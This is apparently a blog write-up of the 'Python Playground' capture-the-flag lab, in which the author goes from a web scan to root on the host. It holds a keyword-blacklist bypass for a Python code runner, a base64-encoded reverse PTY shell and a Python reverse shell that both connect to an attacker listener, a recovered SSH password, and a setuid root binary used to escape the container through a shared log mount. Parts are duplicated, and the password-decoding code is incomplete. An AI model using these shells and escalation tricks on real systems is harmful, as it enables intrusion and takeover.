Featured image


Active Machine Information

Python Playground v2

IP Address


1h 03m 33s


Jump in and grab those flags! They can all be found in the usual places (/home/someuser and /root).

#1 What is flag 1?
#2 What is flag 2?
#3 What is flag 3?

I started with nmap scan.

nmap -T4 -p- -A
Starting Nmap 7.80 ( ) at 2020-08-09 21:31 IST
Nmap scan report for
Host is up (0.25s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
1   448.71 ms
2   448.82 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 40.00 seconds

This showed that 2 ports, 22 and 80 are open. Moving on to the website hosted on port 80, I found the homepage with title Secure Python Playground.placeholder

The Login and Signup link ended nowhere but a “Go Back” page.

I ran ffuf to find the hidden directories and pages.

kali@kali:~/thm/python$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "" -e .php,.html,.txt,.zip

 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/  v1.0.2 ________________________________________________  :: Method : GET :: URL : :: Extensions : .php .html .txt .zip :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 

admin.html              [Status: 200, Size: 3134, Words: 667, Lines: 118]
login.html              [Status: 200, Size: 549, Words: 152, Lines: 19]
index.html              [Status: 200, Size: 941, Words: 308, Lines: 30]
signup.html             [Status: 200, Size: 549, Words: 152, Lines: 19]

This gave me a page admin.html.The page had a login form and was using client side authentication.placeholderThe source of the page gave a link to the page a user would get redirected after login.The page worked fine without authentication.placeholder

Now I can run python code on this page.I tried to import os but that failed and after few attempts I came to know that i can’t use this word “import “.

I tried to read files on the machine and I was able to read shadow and passwd file,although they were not useful.placeholder

But this told me that maybe I am root on the machine the code is being ran on.

I tried to read /root/flag1.txt and got the first flag.


Since I had saw a hash in the javascript employed on the admin.html page. I thought to decrypt it. I reversed all the process and got the password.

def text_to_unicode(string):
    for char in string:
         a -= 97
    return uni     

def unicode_to_text(string):
    for char in range(0,len(string),2):
         a = int(string[char])    
         b = int(string[char +1])
         temp = a * 26
         temp += b
         out += chr(temp)
    return out
if __name__ == "__main__":
     stri1 = text_to_unicode(hash)
     stri2 = unicode_to_text(stri1)
     stri3 = text_to_unicode(stri2)
     password = unicode_to_text(stri3)

Used the password to login as connor user through SSH.

Got the second flag.

Now, I came to know that the website is running in a docker container and I am logged in the Host machine.

Since, the nmap scan already had given the information that the server is Node JS Express framework.I tried to read the index.js from the python code executer page.

const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');

const express = require('express');
const app = express();
const port = 3000;

    extended: false

app.use(express.static(path.join(__dirname, 'static')));

function isAllowed(code){
    if(typeof code !== 'string'){
        return false;
    if(code.indexOf('import ') >= 0){
        return false;
    if(code.indexOf('eval') >= 0){
        return false;
    if(code.indexOf('.system') >= 0){
        return false;
    if(code.indexOf('exec') >= 0){
        return false;

    return true;

function findAndInsert(str, find, insert){
    const i = str.indexOf(find) + find.length;

    return str.slice(0, i) + insert + str.slice(i);

function formatOut(code, output){
    const testingPanelHTML = fs.readFileSync('static/super-secret-admin-testing-panel.html');

    const insertedInput = findAndInsert(testingPanelHTML, '<textarea class="form-control mb-3" name="code">', code);
    const insertedOutput = findAndInsert(insertedInput, '<textarea class="form-control mb-3" readonly>', output);

    return insertedOutput;
}'/super-secret-admin-testing-panel.html', (req, res) => {
    const code = req.body.code;

        // Execute the code
        const name = `scripts/${Math.floor(Math.random() * 100000000000)}.py`;
        fs.writeFileSync(name, code);

        const python = spawn('python3', [name]);

        let output = '';
        python.stdout.on('data', (data) => {
            output += data.toString();
        python.stderr.on('data', (data) => {
            output += data.toString();
        python.on('close', (exit_code) => {

            output += '\nExit code ' + exit_code;

            res.send(formatOut(code, output));
    }else {
        res.send(formatOut(code, 'Security threat detected!'));

app.listen(port, () => console.log('Listening!'));

This shows that import, exec, .system, eval cannot be passed in the code.

This post helped to execute those blacklisted commands.

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls -la')


I uploaded a from python-pty-shells in the form of base64 encoded string.

base64 -w 0 > hash
##Copied the text in hash file
##and then ran following command to upload the file
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('echo -n IyEvdXNyL2Jpbi9weXRob24yCiIiIgpSZXZlcnNlIENvbm5lY3QgVENQIFBUWSBTaGVsbCAtIHYxLjAKaW5mb2RveCAtIGluc2VjdXJldHkubmV0ICgyMDEzKQoKR2l2ZXMgYSByZXZlcnNlIGNvbm5lY3QgUFRZIG92ZXIgVENQLgoKRm9yIGFuIGV4Y2VsbGVudCBsaXN0ZW5lciB1c2UgdGhlIGZvbGxvd2luZyBzb2NhdCBjb21tYW5kOgpzb2NhdCBmaWxlOmB0dHlgLGVjaG89MCxyYXcgdGNwNC1saXN0ZW46UE9SVAoKT3IgdXNlIHRoZSBpbmNsdWRlZCB0Y3BfcHR5X3NoZWxsX2hhbmRsZXIucHkKIiIiCmltcG9ydCBvcwppbXBvcnQgcHR5CmltcG9ydCBzb2NrZXQKCmxob3N0ID0gIjEwLjExLjMuMTIyIiAjIFhYWDogQ0hBTkdFTUUKbHBvcnQgPSA5ODc2ICMgWFhYOiBDSEFOR0VNRQoKZGVmIG1haW4oKToKICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICBzLmNvbm5lY3QoKGxob3N0LCBscG9ydCkpCiAgICBvcy5kdXAyKHMuZmlsZW5vKCksMCkKICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQogICAgb3MuZHVwMihzLmZpbGVubygpLDIpCiAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwnL2Rldi9udWxsJykKICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgIHMuY2xvc2UoKQoJCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkKCg== | base64 -d >')
##This uploaded the file.
##Ran it using 

Got a reverse shell on the container

C:\Users\jacco>nc -nlvp 9876
listening on [any] 9876 ...
connect to [] from (UNKNOWN) [] 42928
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
or we do it with

Alright, we are able to read files of the system! Let's see if we can create a reverse shell, let's use the python shell from the pentestmonkeys

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9876));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);
Hmmm... Now we get Security threat detected!. It looks like we are being limited in what we can import, if we just enter import os we get the same error. It looks like it might just be checking for text, so let's try another way of importing os with something called Dunder (double under) methodsos = __import__('os') no if we run this we get a nice clean Exit code 0. Looks like we can use this little trick to bypass the "security":
subprocess = __import__('subprocess')
os = __import__('os')
socket = __import__('socket')

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9876));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);
Don't forget to setup the nc listener on port 9876 and we get a shell! And it looks like a root shell too!
kali@kali:~/thm/python$ cat
def text_to_unicode(string):
for char in string:
a -= 97
return uni

def unicode_to_text(string):
for char in range(0,len(string),2):
a = int(string[char])
b = int(string[char +1])
temp = a * 26
temp += b
out += chr(temp)
return out

if __name__ == "__main__":
stri1 = text_to_unicode(hash)
stri2 = unicode_to_text(stri1)
stri3 = text_to_unicode(stri2)
password = unicode_to_text(stri3)

kali@kali:~/thm/python$ python

We can now

kali@kali:~/thm/python$ ssh connor@
connor@'s password:spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)

* Documentation:
* Management:
* Support:

System information as of Wed Aug 12 12:36:45 UTC 2020

System load: 0.0 Processes: 93
Usage of /: 49.4% of 9.78GB Users logged in: 0
Memory usage: 23% IP address for eth0:
Swap usage: 0% IP address for docker0:

32 packages can be updated.
0 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Wed Aug 12 12:18:42 2020 from

Enumerating through the container, I found some logs at /mnt/log.

Ran Linpeas in the conatiner and found that /dev/xvda2 is mounted at /mnt/log, moreover this xvda2 is not present in container rather it is present in host.placeholder

I thought maybe somehow they are connected and sharing same data.

I visited the directory where the logs are stored in Linux /var/logs and found that this location is directly linked to the /mnt/log in container and if I write something through the container then that file is written with root as owner for both the host and the container.

Changed the permissions of /mnt/log directory to make /var/logs writable by connor,“chmod 777 .”

Thanks again to jammy for making me realize that the /mnt/log in the container was linked to /var/log on the parent machine just like I suspected earlier.
With this in mind we can create a file with suid bit set and execute it afterwards as connor. (This is possible because the root user id is the same across systems)

# printf 'int main(void){setresuid(0,0,0);system("/bin/sh");}'>tmp.c
# gcc tmp.c -o tmp
# chmod 777 tmp
# chmod +s tmp

connor@pythonplayground:~$ /var/log/tmp
# id
uid=0(root) gid=1000(connor) groups=1000(connor)

Author : Puckiestyle


Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *